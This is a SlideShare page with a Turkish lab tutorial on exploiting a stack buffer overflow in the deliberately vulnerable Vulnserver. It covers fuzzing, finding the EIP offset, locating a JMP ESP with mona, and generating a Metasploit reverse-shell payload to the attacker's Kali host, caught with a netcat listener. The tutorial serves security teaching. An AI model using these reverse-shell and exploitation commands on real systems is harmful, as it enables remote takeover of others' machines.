SlideShare a Scribd company logo
1 of 35
Download to read offline
Buffer Overflow
Okan YILDIZ
​Software Developer/Security Consultant
 
 
Okan YILDIZ - Senior Software Developer/Security Consultant
 
Buffer Overflow 1
Buffer Overflow 3
Projenin Amacı: 3
Bulgular ve Ekran Görüntüleri: 3
İmmunity Debugger Kurulumu ve Tanımı: 10
Windows komut satırı üzerinden uygulama çalıştırma 30
Okan YILDIZ - Senior Software Developer/Security Consultant
Buffer Overflow
Projenin Amacı:
Bir uygulamada zafiyet tespit etmek ve bu zafiyetten faydalanacak bir
istismar kodu geliştirmektir. Sanal makine üzerine kurduğumuz işletim
sistemleri
aracılığı ile hedef bilgisayar üzerinde önbellek taşırma yapacağız. Saldırı
yaptığımız ve istismar kodunu geliştirdiğimiz işletim sistemimiz “Kali” dir.
Kali üzerinde 300 den fazla güvenlik yazılımı olan bir işletim sistemidir.
Hedef
bilgisayarımız ise sanal makine üzerine kurduğumuz ve Microsoft
tarafından geliştirilen “Windows 7” işletim sistemidir.
Bulgular ve Ekran Görüntüleri:
1. Bir uygulamada zafiyet tespit etmek ve bu zafiyetten
faydalanacak bir istismar kodu geliştirmek için yazılmış bir
uygulama olan Vulnserver
yazılımını ​Windows 7 ​üzerinde çalıştırıyoruz ve bu
makinemizin ip adresini ​cmd ​ekranında ​ipconfig ​yazarak
öğreniyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
İp adresimiz 192.168.124.133 olduğunu görüyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
2. Bu aşamada Kali de komut ekranına gelip hedef bilgisayarla iletişim
kurmaya çalışıyoruz. Bunun için komut satırına ​telnet 
192.168.124.133 9999 ​yazıyoruz. Burada ki 9999 vulnserver ın
kullandığı portdur.
Karşımaza gelen ekranda ​HELP ​komutunu yazarak, hangi komutları
kullanabileceğimizi öğreniyoruz.
3. Bağlantının kurulup, kurulamadığını görmek için vulnserver
ekranımıza bakıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
Baktığımızda ​192.168.124.131 ​nolu ip ile iletişim kurduğunu
görüyoruz. Kalimize gelerek bu ip adresini teyit edelim.
Baktığımızda bu ip numarasının bize ait olduğunu görüyoruz.
4. Bu aşamada ​vulnserver ​a ​TRUN ​komutu ile bir dizi karakter
gönderiyorum. Bunu yollamamda ki amaç vulnsever ın bu iletişimi
de kabul edip etmeyeceğini görmek. Bunun önceden
geliştirdiğimiz ve bir
Okan YILDIZ - Senior Software Developer/Security Consultant
Okan YILDIZ - Senior Software Developer/Security Consultant
sonraki aşamlarda yapımına değineceğim ​./istismar 
komutunu yazıp hedef pc ye 3 adet paket yolluyoruz.
Bu işleminin başarı ile gerçekleştiğini bize söylüyor.
Vulnsever ın bu bağlantıyı da kabul edip etmediğini görmek
için vulnserver ekranına bakıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
5. Bu aşamada bir sonraki adım da kullanacağımız istismar kodunu
geliştirme aşamlarına değineceğim bunun için konsol ekranına
nano istismar ​yazıyoruz ve karşımıza gelen ekrana python dili
ile kodlarımızı yazıyoruz.
Burada ​server ​yazan yere hedef pc nin ip adresini,sport olan yere
port numarısını yazıyoruz. Bu program vasıtasıyla klavyeden
gireceğimiz sayı kadar hedef pc ye “​A​” karakterini yollayacaktır.
Kodumuzu yazdıktan sonra ctrl + x yazıyoruz karşımıza çıkan
ekranları onayladıktan sonra tekrar konsol ekranımıza gelip
chmod a+x istismar ​kodunu giriyoruz. Bu kodu girmez isek,
çalıştırdığımız istismar da erişim engeli çıkacaktır.
6. Şimdi ise hedef bilgisayara çok sayıda “​A​” paketi yollayarak
vulnserver a hata yaptırmaya çalışıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
İlk olarak 1000 adet karakter yolladık ancak program çökmedi,
ardında paket sayısını 2000 e çıkardığımızda paketlerin
iletilmediğini görüyoruz.
7. Gelen 2000 paket ile vulnserver yazılımının çöktüğünü görüyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
İmmunity Debugger Kurulumu ve Tanımı:
Yazılımın içini ve çalışma imkanını gördüğümüz immunity debugger yazılımını
http://debugger.immunityinc.com/​​adresinden hedef bilgisayarımıza
indiriyoruz. Yönetici olarak çalıştırdığımız setup dosyasından sonra
aşağıda verilen ekran karşımıza gelecektir. I accept i işaretledikten
sonra programı kuruyoruz.
Program yüklendikten sonra uygulamamız aşağıdaki gibi açılabilir
duruma gelecektir.
Okan YILDIZ - Senior Software Developer/Security Consultant
▪ Sol altta: Yazılımın anlık durumu
▪ Sağ üst ekranda bulunan registry değerleri arasında;
▪ EIP: Extended Instruction Pointer, yazılım tarafından işleme
alınacak bir sonraki komut.
▪ ESP: Extended Stack Pointer, belleğin üstü
▪ EBP: Extended Base Pointer, belleğin altı
▪ Sol üstteki ekran komutları Assembly dilinde neler olup bittiğini gösterir.
8. Immunity debugger a vulnserver ı ekliyoruz. Bunun için sırasıyla
File ve Attach sekmelerine tıklıyoruz ve aşağıdaki gibi karşımıza
gelen ekranda vulnserver.exe yi bulup attach diyoruz.
Attach butonuna bastıktan sonra bizi aşağıdaki gibi bir
ekran karşılayacak.
Okan YILDIZ - Senior Software Developer/Security Consultant
9. Sol üstte bulunan play butonuna basarak Immunity
debuggerı çalıştırıyoruz.
Görüldüğü gibi sağ altta Running yazıyor. Program çalışmaya başladı.
10. Kalimizden hedefe tekrar 2000 tane “A” karakteri yolluyoruz
ve verdiği hatayı inceliyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
Paketleri yolladıktan sonra Immunity Debugger ekranında verilen
hataya bakalım.
“Access violation when writing to [41414141]” uyarısını görüyoruz.
Yolladığımız “A” karakter dizileri veri yazılması gereken bir adres olarak
yorumlandı ve buraya yazılırken bir hata meydana geldi. “Access
violation when writing to [41414141]” içerisinde yazan ​41414141 ​in
hex inin asci
kodu karşılığına hızlıca bakalım.
Okan YILDIZ - Senior Software Developer/Security Consultant
Baktığımızda karşımıza ‘AAAA’ çıktı.
11. Bu seferde kalimizden hedefe 3000 tane “A” karakteri
yolluyoruz ve verdiği hatayı inceliyoruz.
Paketleri yolladıktan sonra Immunity Debugger ekranında verilen
hataya bakalım.
Okan YILDIZ - Senior Software Developer/Security Consultant
Immunity Debugger ekranımızın sol altında “Access violation
when executing [41414141]” hatasını görüyoruz. Bu hata
yolladığımız
karakterlerin bir kısmını veri yazılacak bir yer olarak değil de
uygulanacak bir komut olarak algıladı. “Access violation when
executing [41414141]” içerisinde yazan ​41414141 ​in hex inin asci
kodu karşılığına az önce
bakmıştık ve bize ‘AAAA’ sonucunu vermişti.
12. Şimdi ise yeni bir kod geliştirerek karşımıza benzersiz bir tablo
oluşturcak bunun bize faydası bir sonraki geliştireceğimiz
istismarda kaçıncı
karakterden sonra hata verdiğini bulmak.
Okan YILDIZ - Senior Software Developer/Security Consultant
Programı çalıştırıp bir köşede bekletiyoruz.
13. Şimdi ise kendimize bu tablodan yola çıkarak kendimize yeni
bir istismar geliştiriyoruz ve bununla atak yapıp gelen hataya göz
atıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
Şimdi ise atak yapıyoruz.
Verilen hataya göz atalım.
Okan YILDIZ - Senior Software Developer/Security Consultant
Immunity Debugger ekranımızın sol altında “Access violation
when executing [35324131]” hatasını görüyoruz. 35324131
bu ifadenin karakter karşılığına hızlıca bakalım.
14. Bizim az önce işimize yarar diye beklettiğimiz tablodan
1A25 in yerini tespit ediyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
15. Yukarida ki varsayımımız doğru olup olmadığını öğrenmek için
ilgili yerin hesaba göre 2006 bayttan sonra 4 bayt içerdiğini
düşünüyoruz. Bunun
için EIP ye değer yazıp sonuca bakacağız.
Şimdi ise atağımızı gerçekleştiriyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
Gelen hataya bakıp varsayımımızın doğru olup
olmadığına karar veriyoruz.
Immunity Debugger ekranımızın sol altında “Access violation
when executing [4E414B4F]” hatasını görüyoruz. 4E414B4F
bu ifadenin
karakter karşılığına hızlıca bakalım.
Okan YILDIZ - Senior Software Developer/Security Consultant
16. Corelean tarafından geliştirilen MONA.py bize istismar
kodumuzun her bilgisayarda çalışmasını sağlayacak değişiklikleri
yapmamızı sağlayacak önemli noktalarda destek verecektir.Şimdi
ise mona.py dosyasını indirip ilgili yere kopyalıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
17. Immunity Debugger’ın altında bulunan beyaz komut satırına
“!mona modules” yazarak Vulnserver yüklenirken beraberinde
yüklenen modülleri görebiliriz.
Vulnserver çok düşük bellek adreslerinde başladığı için (BASE
sütunu) adresin başında, daha önce “kötü karakter” olarak
belirlediğimiz “null
byte (‘​ x00’​)” görüyoruz. Şuanda elimizde kullanılabilir olarak essfunc.dll
modülü kalıyor.
18. Kalimize gelerek JMP ve ESP nin hex kodunu bulmaya çalışıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
19. Mona ile JSP ESP bulmaya çalışıyoruz. Bunun için
!mona find –s “xffxe4” –m essfunc.dll ​komutunu
immunity debugger da çalıştırıyoruz.
Yukarıda görüldüğü gibi 9 adet pointers bulunmuş. Biz bunlardan
ilkiyle yani 625011af ile ilgileneceğiz.
Okan YILDIZ - Senior Software Developer/Security Consultant
20. Şimidi immunity debugger i tekrar çalıştırıyoruz. Bunun
ardından yeni bir test kodu üretip, JMP ESP adresi (625011af) ile
bir saldırı göndereceğiz.
615011af adresini kullanarak istismar kodumuzu geliştiriyoruz.
21. İstismar kodunu geliştirdikten sonra şimdi tekrar bir saldırı
düzenliyoruz. Bu saldırıda önbelleği kontrol edeceğimiz test bir
kod kullanıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
22. Şimdi ise sıra istismar kodumuzu geliştirmeye geldi. Bunun
için konsol ekranımıza nano okanyildiz yaziyoruz. Ve gelen
ekrana istismar
kodumuzu yazıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
23. İstismar kodumuzda ki exploit () olan parantez içerisine
Metasploit’un içerisinde bulunan basit bir “reverse Shell” istismar
kodunu
yerleştiriyoruz. Bunun için komut satırına msfpayload
windows/shell_reverse_tcp LHOST=”192.168.124.131″ LPORT=443
EXITFUNC=thread R | msfencode -b ‘x00’ -e x86/shikata_ga_nai
komutunu yazıyoruz. Burada LHOST saldırı makinemizin yani kali
mizin ip adresini giriyoruz. LPORT kısmına hangi port üzerinden
bize bağlanmasını ekliyoruz ve msfencode -b ‘x00’ kısmına ise
önceden tespit ettiğimiz
kötücül karakterin kullanılmamasını sağlıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
24. Elde edilen istismar kodunu exploit () içerisine kopyalıyoruz ve
ardından sırasıyla ctrl + x e basıp kaydettikten sonra chmod a+x
okanyildiz yazıp
erişime izin veriyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
25. Komut satırına nc –nlvp 443 yazarak Netcat yazılımı üzerinden
443 nolu portu dinlemeye başlıyoruz. Saldırını kodunu
çalıştırdığımızda vulnserver çökmez ise ve istismar kodumuz
başarılı olurca netcat üzerinden hedef sistemin Windows komut
satırını elde edeceğiz.
26. Geliştirdiğimiz istismar kodunu çalıştırıyoruz.Programı
çalıştırmadan önce windows makinemizden ​vulnserver ​ı
açmayı unutmayalım.
Okan YILDIZ - Senior Software Developer/Security Consultant
27. İstismar kodunu çalıştırdıktan sonra Netcat yazılımını kontrol ediyoruz.
Görüldüğü üzere saldırımız başarıya ulaştı ve hedef sistemin
windows komut satırına ulaştık. Aşağıda verilen Windows komut
satırı üzerinden uygulama çalıştırma başlığı altında hedef sistem
üzerinde, saldırı makinemizden programlar açacağız.
Okan YILDIZ - Senior Software Developer/Security Consultant
Windows komut satırı üzerinden uygulama çalıştırma
1. Notepad uygulamasını, kali üzerinden çalıştırmak için
notepad.exe yazıp enter a basıyoruz.
2. Hesap makinesi uygulamasını açmak için calc.exe yazıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
3. Disk yönetimini açmak için diskmgmt.msc yazıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
4. Program ekle kaldırı açmak için appwiz.cpl yazıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
5. Görüntü özelliklerini açmak için desk.cpl yazıyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
Okan YILDIZ - Senior Software Developer/Security Consultant

More Related Content

Similar to Buffer overflow

SQL Server 2008 Express & SQL Server Management Studio Kurulumu
SQL Server 2008 Express & SQL Server Management Studio KurulumuSQL Server 2008 Express & SQL Server Management Studio Kurulumu
SQL Server 2008 Express & SQL Server Management Studio KurulumuSercan Yemeni
 
Sql server 2008 Express & Sql Server management Studio 2008 express Kurulumu
Sql server 2008 Express & Sql Server management Studio 2008 express KurulumuSql server 2008 Express & Sql Server management Studio 2008 express Kurulumu
Sql server 2008 Express & Sql Server management Studio 2008 express KurulumuSercan Yemeni
 
İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulmasıİş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulmasıİbrahim UÇAR
 
Veritabani Programlama - Oracle Kurulumu
Veritabani Programlama - Oracle KurulumuVeritabani Programlama - Oracle Kurulumu
Veritabani Programlama - Oracle KurulumuSevdanur Genc
 
Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1Univerist
 
Az ve Öz C++ Muhammet ÇAĞATAY
Az ve Öz C++  Muhammet ÇAĞATAYAz ve Öz C++  Muhammet ÇAĞATAY
Az ve Öz C++ Muhammet ÇAĞATAYMuhammet ÇAĞATAY
 
Davetsiz misafirleri nasil tesbit eder ve onlardan nasil kurtulabiliriz
Davetsiz misafirleri nasil tesbit eder ve onlardan nasil kurtulabilirizDavetsiz misafirleri nasil tesbit eder ve onlardan nasil kurtulabiliriz
Davetsiz misafirleri nasil tesbit eder ve onlardan nasil kurtulabilirizilker kayar
 
A'dan Z'ye | Social Engineer Toolkit (SET)
A'dan Z'ye | Social Engineer Toolkit (SET)A'dan Z'ye | Social Engineer Toolkit (SET)
A'dan Z'ye | Social Engineer Toolkit (SET)TurkHackTeam EDU
 

Similar to Buffer overflow (12)

SQL Server 2008 Express & SQL Server Management Studio Kurulumu
SQL Server 2008 Express & SQL Server Management Studio KurulumuSQL Server 2008 Express & SQL Server Management Studio Kurulumu
SQL Server 2008 Express & SQL Server Management Studio Kurulumu
 
Sql server 2008 Express & Sql Server management Studio 2008 express Kurulumu
Sql server 2008 Express & Sql Server management Studio 2008 express KurulumuSql server 2008 Express & Sql Server management Studio 2008 express Kurulumu
Sql server 2008 Express & Sql Server management Studio 2008 express Kurulumu
 
İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulmasıİş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
 
2010 04
2010 042010 04
2010 04
 
Veritabani Programlama - Oracle Kurulumu
Veritabani Programlama - Oracle KurulumuVeritabani Programlama - Oracle Kurulumu
Veritabani Programlama - Oracle Kurulumu
 
Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1
 
Az ve Öz C++ Muhammet ÇAĞATAY
Az ve Öz C++  Muhammet ÇAĞATAYAz ve Öz C++  Muhammet ÇAĞATAY
Az ve Öz C++ Muhammet ÇAĞATAY
 
Bilgi sis..
Bilgi sis..Bilgi sis..
Bilgi sis..
 
Web Application Testing
Web Application Testing Web Application Testing
Web Application Testing
 
ARM Programlama
ARM ProgramlamaARM Programlama
ARM Programlama
 
Davetsiz misafirleri nasil tesbit eder ve onlardan nasil kurtulabiliriz
Davetsiz misafirleri nasil tesbit eder ve onlardan nasil kurtulabilirizDavetsiz misafirleri nasil tesbit eder ve onlardan nasil kurtulabiliriz
Davetsiz misafirleri nasil tesbit eder ve onlardan nasil kurtulabiliriz
 
A'dan Z'ye | Social Engineer Toolkit (SET)
A'dan Z'ye | Social Engineer Toolkit (SET)A'dan Z'ye | Social Engineer Toolkit (SET)
A'dan Z'ye | Social Engineer Toolkit (SET)
 

More from Okan YILDIZ

Directory_Traversel.pdf
Directory_Traversel.pdfDirectory_Traversel.pdf
Directory_Traversel.pdfOkan YILDIZ
 
Buffer Overflow - English.pdf
Buffer Overflow - English.pdfBuffer Overflow - English.pdf
Buffer Overflow - English.pdfOkan YILDIZ
 
File Inclusion.pdf
File Inclusion.pdfFile Inclusion.pdf
File Inclusion.pdfOkan YILDIZ
 
Azure Security Check List - Final.pdf
Azure Security Check List - Final.pdfAzure Security Check List - Final.pdf
Azure Security Check List - Final.pdfOkan YILDIZ
 
Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...
Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...
Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...Okan YILDIZ
 
command-injection-v3.pdf
command-injection-v3.pdfcommand-injection-v3.pdf
command-injection-v3.pdfOkan YILDIZ
 
VoIP (Voice over Internet Protocol).pdf
VoIP (Voice over Internet Protocol).pdfVoIP (Voice over Internet Protocol).pdf
VoIP (Voice over Internet Protocol).pdfOkan YILDIZ
 
Sosyal Mühendislik Saldırıları
Sosyal Mühendislik SaldırılarıSosyal Mühendislik Saldırıları
Sosyal Mühendislik SaldırılarıOkan YILDIZ
 

More from Okan YILDIZ (14)

XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
IDOR.pdf
IDOR.pdfIDOR.pdf
IDOR.pdf
 
Directory_Traversel.pdf
Directory_Traversel.pdfDirectory_Traversel.pdf
Directory_Traversel.pdf
 
Buffer Overflow - English.pdf
Buffer Overflow - English.pdfBuffer Overflow - English.pdf
Buffer Overflow - English.pdf
 
File Inclusion.pdf
File Inclusion.pdfFile Inclusion.pdf
File Inclusion.pdf
 
Azure Security Check List - Final.pdf
Azure Security Check List - Final.pdfAzure Security Check List - Final.pdf
Azure Security Check List - Final.pdf
 
IDOR.pdf
IDOR.pdfIDOR.pdf
IDOR.pdf
 
Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...
Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...
Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
command-injection-v3.pdf
command-injection-v3.pdfcommand-injection-v3.pdf
command-injection-v3.pdf
 
VoIP (Voice over Internet Protocol).pdf
VoIP (Voice over Internet Protocol).pdfVoIP (Voice over Internet Protocol).pdf
VoIP (Voice over Internet Protocol).pdf
 
Some Kitapçık
Some KitapçıkSome Kitapçık
Some Kitapçık
 
Sosyal Mühendislik Saldırıları
Sosyal Mühendislik SaldırılarıSosyal Mühendislik Saldırıları
Sosyal Mühendislik Saldırıları
 
DNS Güvenliği
DNS GüvenliğiDNS Güvenliği
DNS Güvenliği
 

Buffer overflow

  • 1. Buffer Overflow Okan YILDIZ ​Software Developer/Security Consultant     Okan YILDIZ - Senior Software Developer/Security Consultant
  • 2.   Buffer Overflow 1 Buffer Overflow 3 Projenin Amacı: 3 Bulgular ve Ekran Görüntüleri: 3 İmmunity Debugger Kurulumu ve Tanımı: 10 Windows komut satırı üzerinden uygulama çalıştırma 30 Okan YILDIZ - Senior Software Developer/Security Consultant
  • 3. Buffer Overflow Projenin Amacı: Bir uygulamada zafiyet tespit etmek ve bu zafiyetten faydalanacak bir istismar kodu geliştirmektir. Sanal makine üzerine kurduğumuz işletim sistemleri aracılığı ile hedef bilgisayar üzerinde önbellek taşırma yapacağız. Saldırı yaptığımız ve istismar kodunu geliştirdiğimiz işletim sistemimiz “Kali” dir. Kali üzerinde 300 den fazla güvenlik yazılımı olan bir işletim sistemidir. Hedef bilgisayarımız ise sanal makine üzerine kurduğumuz ve Microsoft tarafından geliştirilen “Windows 7” işletim sistemidir. Bulgular ve Ekran Görüntüleri: 1. Bir uygulamada zafiyet tespit etmek ve bu zafiyetten faydalanacak bir istismar kodu geliştirmek için yazılmış bir uygulama olan Vulnserver yazılımını ​Windows 7 ​üzerinde çalıştırıyoruz ve bu makinemizin ip adresini ​cmd ​ekranında ​ipconfig ​yazarak öğreniyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 4. İp adresimiz 192.168.124.133 olduğunu görüyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 5. 2. Bu aşamada Kali de komut ekranına gelip hedef bilgisayarla iletişim kurmaya çalışıyoruz. Bunun için komut satırına ​telnet  192.168.124.133 9999 ​yazıyoruz. Burada ki 9999 vulnserver ın kullandığı portdur. Karşımaza gelen ekranda ​HELP ​komutunu yazarak, hangi komutları kullanabileceğimizi öğreniyoruz. 3. Bağlantının kurulup, kurulamadığını görmek için vulnserver ekranımıza bakıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 6. Baktığımızda ​192.168.124.131 ​nolu ip ile iletişim kurduğunu görüyoruz. Kalimize gelerek bu ip adresini teyit edelim. Baktığımızda bu ip numarasının bize ait olduğunu görüyoruz. 4. Bu aşamada ​vulnserver ​a ​TRUN ​komutu ile bir dizi karakter gönderiyorum. Bunu yollamamda ki amaç vulnsever ın bu iletişimi de kabul edip etmeyeceğini görmek. Bunun önceden geliştirdiğimiz ve bir Okan YILDIZ - Senior Software Developer/Security Consultant
  • 7. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 8. sonraki aşamlarda yapımına değineceğim ​./istismar  komutunu yazıp hedef pc ye 3 adet paket yolluyoruz. Bu işleminin başarı ile gerçekleştiğini bize söylüyor. Vulnsever ın bu bağlantıyı da kabul edip etmediğini görmek için vulnserver ekranına bakıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 9. 5. Bu aşamada bir sonraki adım da kullanacağımız istismar kodunu geliştirme aşamlarına değineceğim bunun için konsol ekranına nano istismar ​yazıyoruz ve karşımıza gelen ekrana python dili ile kodlarımızı yazıyoruz. Burada ​server ​yazan yere hedef pc nin ip adresini,sport olan yere port numarısını yazıyoruz. Bu program vasıtasıyla klavyeden gireceğimiz sayı kadar hedef pc ye “​A​” karakterini yollayacaktır. Kodumuzu yazdıktan sonra ctrl + x yazıyoruz karşımıza çıkan ekranları onayladıktan sonra tekrar konsol ekranımıza gelip chmod a+x istismar ​kodunu giriyoruz. Bu kodu girmez isek, çalıştırdığımız istismar da erişim engeli çıkacaktır. 6. Şimdi ise hedef bilgisayara çok sayıda “​A​” paketi yollayarak vulnserver a hata yaptırmaya çalışıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 10. İlk olarak 1000 adet karakter yolladık ancak program çökmedi, ardında paket sayısını 2000 e çıkardığımızda paketlerin iletilmediğini görüyoruz. 7. Gelen 2000 paket ile vulnserver yazılımının çöktüğünü görüyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 11. İmmunity Debugger Kurulumu ve Tanımı: Yazılımın içini ve çalışma imkanını gördüğümüz immunity debugger yazılımını http://debugger.immunityinc.com/​​adresinden hedef bilgisayarımıza indiriyoruz. Yönetici olarak çalıştırdığımız setup dosyasından sonra aşağıda verilen ekran karşımıza gelecektir. I accept i işaretledikten sonra programı kuruyoruz. Program yüklendikten sonra uygulamamız aşağıdaki gibi açılabilir duruma gelecektir. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 12. ▪ Sol altta: Yazılımın anlık durumu ▪ Sağ üst ekranda bulunan registry değerleri arasında; ▪ EIP: Extended Instruction Pointer, yazılım tarafından işleme alınacak bir sonraki komut. ▪ ESP: Extended Stack Pointer, belleğin üstü ▪ EBP: Extended Base Pointer, belleğin altı ▪ Sol üstteki ekran komutları Assembly dilinde neler olup bittiğini gösterir. 8. Immunity debugger a vulnserver ı ekliyoruz. Bunun için sırasıyla File ve Attach sekmelerine tıklıyoruz ve aşağıdaki gibi karşımıza gelen ekranda vulnserver.exe yi bulup attach diyoruz. Attach butonuna bastıktan sonra bizi aşağıdaki gibi bir ekran karşılayacak. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 13. 9. Sol üstte bulunan play butonuna basarak Immunity debuggerı çalıştırıyoruz. Görüldüğü gibi sağ altta Running yazıyor. Program çalışmaya başladı. 10. Kalimizden hedefe tekrar 2000 tane “A” karakteri yolluyoruz ve verdiği hatayı inceliyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 14. Paketleri yolladıktan sonra Immunity Debugger ekranında verilen hataya bakalım. “Access violation when writing to [41414141]” uyarısını görüyoruz. Yolladığımız “A” karakter dizileri veri yazılması gereken bir adres olarak yorumlandı ve buraya yazılırken bir hata meydana geldi. “Access violation when writing to [41414141]” içerisinde yazan ​41414141 ​in hex inin asci kodu karşılığına hızlıca bakalım. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 15. Baktığımızda karşımıza ‘AAAA’ çıktı. 11. Bu seferde kalimizden hedefe 3000 tane “A” karakteri yolluyoruz ve verdiği hatayı inceliyoruz. Paketleri yolladıktan sonra Immunity Debugger ekranında verilen hataya bakalım. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 16. Immunity Debugger ekranımızın sol altında “Access violation when executing [41414141]” hatasını görüyoruz. Bu hata yolladığımız karakterlerin bir kısmını veri yazılacak bir yer olarak değil de uygulanacak bir komut olarak algıladı. “Access violation when executing [41414141]” içerisinde yazan ​41414141 ​in hex inin asci kodu karşılığına az önce bakmıştık ve bize ‘AAAA’ sonucunu vermişti. 12. Şimdi ise yeni bir kod geliştirerek karşımıza benzersiz bir tablo oluşturcak bunun bize faydası bir sonraki geliştireceğimiz istismarda kaçıncı karakterden sonra hata verdiğini bulmak. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 17. Programı çalıştırıp bir köşede bekletiyoruz. 13. Şimdi ise kendimize bu tablodan yola çıkarak kendimize yeni bir istismar geliştiriyoruz ve bununla atak yapıp gelen hataya göz atıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 18. Şimdi ise atak yapıyoruz. Verilen hataya göz atalım. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 19. Immunity Debugger ekranımızın sol altında “Access violation when executing [35324131]” hatasını görüyoruz. 35324131 bu ifadenin karakter karşılığına hızlıca bakalım. 14. Bizim az önce işimize yarar diye beklettiğimiz tablodan 1A25 in yerini tespit ediyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 20. 15. Yukarida ki varsayımımız doğru olup olmadığını öğrenmek için ilgili yerin hesaba göre 2006 bayttan sonra 4 bayt içerdiğini düşünüyoruz. Bunun için EIP ye değer yazıp sonuca bakacağız. Şimdi ise atağımızı gerçekleştiriyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 21. Gelen hataya bakıp varsayımımızın doğru olup olmadığına karar veriyoruz. Immunity Debugger ekranımızın sol altında “Access violation when executing [4E414B4F]” hatasını görüyoruz. 4E414B4F bu ifadenin karakter karşılığına hızlıca bakalım. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 22. 16. Corelean tarafından geliştirilen MONA.py bize istismar kodumuzun her bilgisayarda çalışmasını sağlayacak değişiklikleri yapmamızı sağlayacak önemli noktalarda destek verecektir.Şimdi ise mona.py dosyasını indirip ilgili yere kopyalıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 23. 17. Immunity Debugger’ın altında bulunan beyaz komut satırına “!mona modules” yazarak Vulnserver yüklenirken beraberinde yüklenen modülleri görebiliriz. Vulnserver çok düşük bellek adreslerinde başladığı için (BASE sütunu) adresin başında, daha önce “kötü karakter” olarak belirlediğimiz “null byte (‘​ x00’​)” görüyoruz. Şuanda elimizde kullanılabilir olarak essfunc.dll modülü kalıyor. 18. Kalimize gelerek JMP ve ESP nin hex kodunu bulmaya çalışıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 24. 19. Mona ile JSP ESP bulmaya çalışıyoruz. Bunun için !mona find –s “xffxe4” –m essfunc.dll ​komutunu immunity debugger da çalıştırıyoruz. Yukarıda görüldüğü gibi 9 adet pointers bulunmuş. Biz bunlardan ilkiyle yani 625011af ile ilgileneceğiz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 25. 20. Şimidi immunity debugger i tekrar çalıştırıyoruz. Bunun ardından yeni bir test kodu üretip, JMP ESP adresi (625011af) ile bir saldırı göndereceğiz. 615011af adresini kullanarak istismar kodumuzu geliştiriyoruz. 21. İstismar kodunu geliştirdikten sonra şimdi tekrar bir saldırı düzenliyoruz. Bu saldırıda önbelleği kontrol edeceğimiz test bir kod kullanıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 26. 22. Şimdi ise sıra istismar kodumuzu geliştirmeye geldi. Bunun için konsol ekranımıza nano okanyildiz yaziyoruz. Ve gelen ekrana istismar kodumuzu yazıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
